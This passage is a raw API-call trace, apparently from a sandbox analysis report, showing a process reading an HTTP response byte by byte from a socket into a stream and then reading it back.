writefds=0x0, exceptfds=0x0) returned 1 [0085.813] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.813] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.814] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.814] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.814] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.814] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.814] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.814] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.814] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.814] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x32, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.814] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.814] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.814] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.814] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x30, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.814] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.814] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.814] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.815] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x30, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.815] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.815] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.815] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.815] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.815] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.815] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.815] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.815] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x4f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.815] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.815] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.815] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.815] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x4b, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.815] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.815] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.815] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.816] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.816] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.816] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.816] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.816] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x48, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.816] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.816] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.816] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x50, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.816] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.816] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.816] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2e, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4b, pcbRead=0x12fe8c*=0x3) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x2) returned 0x0 [0085.817] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.817] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x1) returned 0x0 [0085.818] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.818] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x0, pcbRead=0x12fe8c*=0x0) returned 0x0 [0085.818] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.818] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.818] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.818] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x44, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.818] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.818] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.818] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.819] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x61, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.819] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.819] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.819] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.819] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.819] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.819] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.819] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.819] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.819] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.819] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.819] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.820] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.820] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.820] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.820] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.820] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.820] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.820] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.820] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.820] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x57, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.820] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.820] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.820] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.821] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.821] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.821] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.821] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.821] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x64, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.821] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.821] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.821] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.821] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x2c, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.821] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.821] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.821] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.821] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.821] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.822] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.822] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.822] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.822] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.822] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.822] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.822] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.822] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.822] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.822] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.822] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.822] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.822] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.823] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.823] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x41, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.823] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.823] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.823] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.823] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x70, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.823] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.823] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.823] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.823] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x72, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.823] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.823] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.823] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.824] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.824] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.824] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.824] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.824] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x32, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.824] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.824] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.824] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.824] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x30, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.824] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.824] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.824] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.825] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.825] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.825] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.825] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.825] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x38, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.825] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.825] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.825] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.825] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.825] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.825] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.825] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.825] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x30, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.826] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.826] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.826] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.826] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x39, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.826] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.826] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.826] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.826] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.826] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.826] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) 